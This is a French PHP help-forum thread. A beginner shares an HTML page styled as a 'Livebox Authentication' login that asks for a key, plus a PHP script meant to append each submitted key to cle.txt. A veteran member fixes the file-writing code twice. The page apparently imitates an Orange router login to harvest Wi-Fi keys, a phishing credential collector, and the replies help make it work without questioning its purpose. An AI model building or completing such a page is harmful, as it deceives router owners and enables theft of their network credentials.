Traitement php via html formulaire

Petit nouveau ! | 2 Messages

14 févr. 2019, 01:32

Salut, je voudrais récupérer une seul via information via formulaire html via la method post mais je sais pas comment faire

index.html

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<link rel="stylesheet" href="style.css">
<img src="images/live3.png" />
<title> Livebox Authentication </title>
</head>
<form action="find.php" method="POST"> </form>
<P> <label> <h3> mot de passe : </h3> <input class="barre-mdp" type="text" name="cle" /> <label> </p>
<p> <input type="submit" value="connexion" /> </p>
</html>

find.php

<?php

$cle = $_POST['cle']
fputs($fp, "$cle")
$fichier = file("cle.txt");
$fp=fopen($fichier,'r')
fclose($fp);


cle.txt

# vide car j'arrive pas

Je voudrais seulement quand un client envoie un clé dans le formulaire je voudrez quelque soit stocker et rediriger vers un autre html et que la clé sois stocker dans le fichier cle.txt mais comment faire, aider svp je vous en supplie sa fait 3 jours que je recherche et je n'y arrive pas merci d'avance

Mammouth du PHP | 1406 Messages

14 févr. 2019, 11:50

en remettant de l'ordre dans tes instructions

1 on ouvre le fichier (avec son nom pas son contenu donc pas besoin de la fonction file)
2 on insère le nouveau contenu
3 on ferme le fichier

Et surtout on active l'affichage des erreurs pour savoir ce qui se passe pas bien.
Spols
pour les fan de rubik's cube ou pour les curieux ==> le portail francophone de rubik's cube
Ingénieur Industriel Chimie / Biochimie

Petit nouveau ! | 2 Messages

14 févr. 2019, 21:44

Re salut, merci de ta réponses mais je n'arrive toujours pas donc j'ai mit dans mon fichier find.php

<?php
$fp = fopen("cle.txt","a+")
$cle = $_POST['cle'];
fputs($fp, "$cle.txt");
fclose($fp);
?>

J'ai fait se que tu ma dit sauf sa ne marche pas? aurais tu une autre solution ?

Mammouth du PHP | 1406 Messages

Hier, 08:56

fputs($fp, "$cle.txt"); => fputs($fp, "$cle");

et affiche tes erreurs php ca aide beaucoup pour debuger et pouvoir préciser les "ca marche pas" qui n'aide pas.
ajouter des echo ou var_dump de temps en temps pour vérifer que tes variables contiennent ce que tu veux.
Spols
pour les fan de rubik's cube ou pour les curieux ==> le portail francophone de rubik's cube
Ingénieur Industriel Chimie / Biochimie